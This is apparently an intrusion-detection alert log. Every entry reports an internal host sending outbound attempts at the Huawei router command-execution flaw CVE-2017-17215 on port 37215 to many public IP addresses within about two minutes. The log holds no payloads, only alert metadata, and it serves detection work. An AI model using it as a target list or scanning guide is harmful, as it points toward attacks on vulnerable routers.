ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.7.123.100

Timestamp:	2024-08-01T15:35:17.176706+0200
SID:	2835222
Source Port:	33428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.149.143

Timestamp:	2024-08-01T15:35:21.905814+0200
SID:	2835222
Source Port:	40058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.19.55.36

Timestamp:	2024-08-01T15:35:21.861631+0200
SID:	2835222
Source Port:	46654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.138.60.31

Timestamp:	2024-08-01T15:36:06.736235+0200
SID:	2835222
Source Port:	52544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.138.174.217

Timestamp:	2024-08-01T15:35:21.867218+0200
SID:	2835222
Source Port:	58120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.79.95

Timestamp:	2024-08-01T15:35:50.253650+0200
SID:	2835222
Source Port:	42920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.40.133

Timestamp:	2024-08-01T15:35:20.207204+0200
SID:	2835222
Source Port:	44636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.74.126.187

Timestamp:	2024-08-01T15:35:21.905900+0200
SID:	2835222
Source Port:	38602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.10.115.25

Timestamp:	2024-08-01T15:36:34.947324+0200
SID:	2835222
Source Port:	60772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.157.212.252

Timestamp:	2024-08-01T15:35:48.347884+0200
SID:	2835222
Source Port:	54456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.59.88.2

Timestamp:	2024-08-01T15:36:42.162621+0200
SID:	2835222
Source Port:	34152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 198.68.238.3

Timestamp:	2024-08-01T15:35:58.605926+0200
SID:	2835222
Source Port:	59730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.214.65

Timestamp:	2024-08-01T15:36:14.806690+0200
SID:	2835222
Source Port:	46112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.53.190.45

Timestamp:	2024-08-01T15:36:57.564501+0200
SID:	2835222
Source Port:	37518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.218.113.190

Timestamp:	2024-08-01T15:35:50.278201+0200
SID:	2835222
Source Port:	40758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.46.29.148

Timestamp:	2024-08-01T15:35:21.905818+0200
SID:	2835222
Source Port:	43516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.73.153.93

Timestamp:	2024-08-01T15:35:37.221069+0200
SID:	2835222
Source Port:	39568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.139.133.26

Timestamp:	2024-08-01T15:35:54.685442+0200
SID:	2835222
Source Port:	60626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.110.126

Timestamp:	2024-08-01T15:35:04.706104+0200
SID:	2835222
Source Port:	41604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 190.251.100.176

Timestamp:	2024-08-01T15:35:20.210145+0200
SID:	2835222
Source Port:	56218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.129.187

Timestamp:	2024-08-01T15:36:01.488786+0200
SID:	2835222
Source Port:	54250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.131.244.109

Timestamp:	2024-08-01T15:36:16.200771+0200
SID:	2835222
Source Port:	43394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.96.223.134

Timestamp:	2024-08-01T15:36:22.458020+0200
SID:	2835222
Source Port:	56360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.93.77

Timestamp:	2024-08-01T15:35:20.210358+0200
SID:	2835222
Source Port:	39564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.113.145.111

Timestamp:	2024-08-01T15:35:21.908505+0200
SID:	2835222
Source Port:	56092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.89.254.48

Timestamp:	2024-08-01T15:36:34.859462+0200
SID:	2835222
Source Port:	38078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.195.122.93

Timestamp:	2024-08-01T15:36:26.881739+0200
SID:	2835222
Source Port:	59250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.130.133.204

Timestamp:	2024-08-01T15:36:36.979380+0200
SID:	2835222
Source Port:	50468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.163.83.243

Timestamp:	2024-08-01T15:36:24.459164+0200
SID:	2835222
Source Port:	34466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.190.57.96

Timestamp:	2024-08-01T15:35:20.216551+0200
SID:	2835222
Source Port:	60728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.179.175.169

Timestamp:	2024-08-01T15:35:16.872517+0200
SID:	2835222
Source Port:	53630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.221.156

Timestamp:	2024-08-01T15:36:26.558078+0200
SID:	2835222
Source Port:	40612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.126.246.16

Timestamp:	2024-08-01T15:35:40.237727+0200
SID:	2835222
Source Port:	32842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.144.21.142

Timestamp:	2024-08-01T15:36:32.775834+0200
SID:	2835222
Source Port:	34832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.11.55.39

Timestamp:	2024-08-01T15:36:15.249129+0200
SID:	2835222
Source Port:	44028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.138.104.224

Timestamp:	2024-08-01T15:36:24.444992+0200
SID:	2835222
Source Port:	36212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.59.170

Timestamp:	2024-08-01T15:36:24.468601+0200
SID:	2835222
Source Port:	48802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.105.131.94

Timestamp:	2024-08-01T15:35:21.891130+0200
SID:	2835222
Source Port:	58140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.75.77.236

Timestamp:	2024-08-01T15:35:37.201728+0200
SID:	2835222
Source Port:	34176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.209.191.113

Timestamp:	2024-08-01T15:36:28.759628+0200
SID:	2835222
Source Port:	45328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.117.191.144

Timestamp:	2024-08-01T15:35:20.206688+0200
SID:	2835222
Source Port:	52708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.255.154.66

Timestamp:	2024-08-01T15:36:14.832138+0200
SID:	2835222
Source Port:	46740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.161.102.218

Timestamp:	2024-08-01T15:35:21.905732+0200
SID:	2835222
Source Port:	48540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.233.14

Timestamp:	2024-08-01T15:35:20.205664+0200
SID:	2835222
Source Port:	49846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 78.68.152.10

Timestamp:	2024-08-01T15:36:30.755435+0200
SID:	2835222
Source Port:	45246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.98.75.58

Timestamp:	2024-08-01T15:35:45.284008+0200
SID:	2835222
Source Port:	35326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.102.104.151

Timestamp:	2024-08-01T15:35:54.525852+0200
SID:	2835222
Source Port:	43482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.26.21.89

Timestamp:	2024-08-01T15:35:48.347716+0200
SID:	2835222
Source Port:	34998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.124.18.82

Timestamp:	2024-08-01T15:35:16.728238+0200
SID:	2835222
Source Port:	50544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.187.121

Timestamp:	2024-08-01T15:35:20.205238+0200
SID:	2835222
Source Port:	46336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.43.97.161

Timestamp:	2024-08-01T15:36:09.899724+0200
SID:	2835222
Source Port:	54976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.239.13

Timestamp:	2024-08-01T15:36:18.250681+0200
SID:	2835222
Source Port:	53580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 61.229.43.89

Timestamp:	2024-08-01T15:36:18.249530+0200
SID:	2835222
Source Port:	57712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 47.17.248.30

Timestamp:	2024-08-01T15:36:18.260233+0200
SID:	2835222
Source Port:	58982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.247.232

Timestamp:	2024-08-01T15:35:53.373739+0200
SID:	2835222
Source Port:	60538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.197.162.105

Timestamp:	2024-08-01T15:37:00.202719+0200
SID:	2835222
Source Port:	32864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 116.122.159.73

Timestamp:	2024-08-01T15:35:20.205537+0200
SID:	2835222
Source Port:	40012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.137.205.74

Timestamp:	2024-08-01T15:35:20.216240+0200
SID:	2835222
Source Port:	37320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.193.11

Timestamp:	2024-08-01T15:36:57.545590+0200
SID:	2835222
Source Port:	33048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.59.251.151

Timestamp:	2024-08-01T15:35:21.832321+0200
SID:	2835222
Source Port:	56740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.128.86

Timestamp:	2024-08-01T15:36:39.311807+0200
SID:	2835222
Source Port:	45164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 146.228.195.65

Timestamp:	2024-08-01T15:35:25.981407+0200
SID:	2835222
Source Port:	41704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.32.59.62

Timestamp:	2024-08-01T15:36:11.931796+0200
SID:	2835222
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.66.48.54

Timestamp:	2024-08-01T15:35:37.222175+0200
SID:	2835222
Source Port:	46056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 72.167.222.68

Timestamp:	2024-08-01T15:35:55.308426+0200
SID:	2835222
Source Port:	48988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.137.69

Timestamp:	2024-08-01T15:35:33.068612+0200
SID:	2835222
Source Port:	59740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.154.49.44

Timestamp:	2024-08-01T15:35:21.851379+0200
SID:	2835222
Source Port:	33120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.140.222.92

Timestamp:	2024-08-01T15:36:36.974821+0200
SID:	2835222
Source Port:	60054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.13.86.61

Timestamp:	2024-08-01T15:36:06.684614+0200
SID:	2835222
Source Port:	46566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.197.246.96

Timestamp:	2024-08-01T15:35:20.205922+0200
SID:	2835222
Source Port:	40284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 82.102.155.112

Timestamp:	2024-08-01T15:35:54.405874+0200
SID:	2835222
Source Port:	47962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.92.13.87

Timestamp:	2024-08-01T15:35:17.173482+0200
SID:	2835222
Source Port:	45636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.24.101.6

Timestamp:	2024-08-01T15:35:21.852915+0200
SID:	2835222
Source Port:	46518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.40.244.195

Timestamp:	2024-08-01T15:36:49.568625+0200
SID:	2835222
Source Port:	43308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.94.14.140

Timestamp:	2024-08-01T15:35:17.111015+0200
SID:	2835222
Source Port:	54494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.175.27.16

Timestamp:	2024-08-01T15:35:20.206434+0200
SID:	2835222
Source Port:	60706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.122.220.214

Timestamp:	2024-08-01T15:35:16.650804+0200
SID:	2835222
Source Port:	48958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.71.216

Timestamp:	2024-08-01T15:36:18.264579+0200
SID:	2835222
Source Port:	49680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.28.204.234

Timestamp:	2024-08-01T15:36:22.456607+0200
SID:	2835222
Source Port:	47616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.76.57.2

Timestamp:	2024-08-01T15:36:30.755496+0200
SID:	2835222
Source Port:	56462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.111.195.69

Timestamp:	2024-08-01T15:35:21.858932+0200
SID:	2835222
Source Port:	48854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.35.46.47

Timestamp:	2024-08-01T15:36:53.743421+0200
SID:	2835222
Source Port:	52346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.39.90

Timestamp:	2024-08-01T15:35:20.216408+0200
SID:	2835222
Source Port:	54406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.63.4

Timestamp:	2024-08-01T15:36:18.259803+0200
SID:	2835222
Source Port:	45406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.212.76.132

Timestamp:	2024-08-01T15:36:26.561768+0200
SID:	2835222
Source Port:	46146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.183.132.81

Timestamp:	2024-08-01T15:35:17.177406+0200
SID:	2835222
Source Port:	58768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.84.21.46

Timestamp:	2024-08-01T15:35:20.545713+0200
SID:	2835222
Source Port:	34054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.209.162

Timestamp:	2024-08-01T15:35:50.211593+0200
SID:	2835222
Source Port:	43310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.24.195

Timestamp:	2024-08-01T15:36:06.759148+0200
SID:	2835222
Source Port:	51498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.223.69.211

Timestamp:	2024-08-01T15:36:26.574351+0200
SID:	2835222
Source Port:	60272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 160.44.142.45

Timestamp:	2024-08-01T15:35:20.207368+0200
SID:	2835222
Source Port:	45878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.76.148.220

Timestamp:	2024-08-01T15:36:57.561540+0200
SID:	2835222
Source Port:	55604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.253.172.111

Timestamp:	2024-08-01T15:35:20.203493+0200
SID:	2835222
Source Port:	60482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.234.226.211

Timestamp:	2024-08-01T15:35:35.142598+0200
SID:	2835222
Source Port:	57744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.20.51.254

Timestamp:	2024-08-01T15:35:21.872960+0200
SID:	2835222
Source Port:	38258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.180.164.246

Timestamp:	2024-08-01T15:35:35.134070+0200
SID:	2835222
Source Port:	51396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.88.68.208

Timestamp:	2024-08-01T15:35:21.890954+0200
SID:	2835222
Source Port:	45930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.183.255

Timestamp:	2024-08-01T15:35:20.204857+0200
SID:	2835222
Source Port:	47450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 95.2.39.161

Timestamp:	2024-08-01T15:36:51.575708+0200
SID:	2835222
Source Port:	36942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

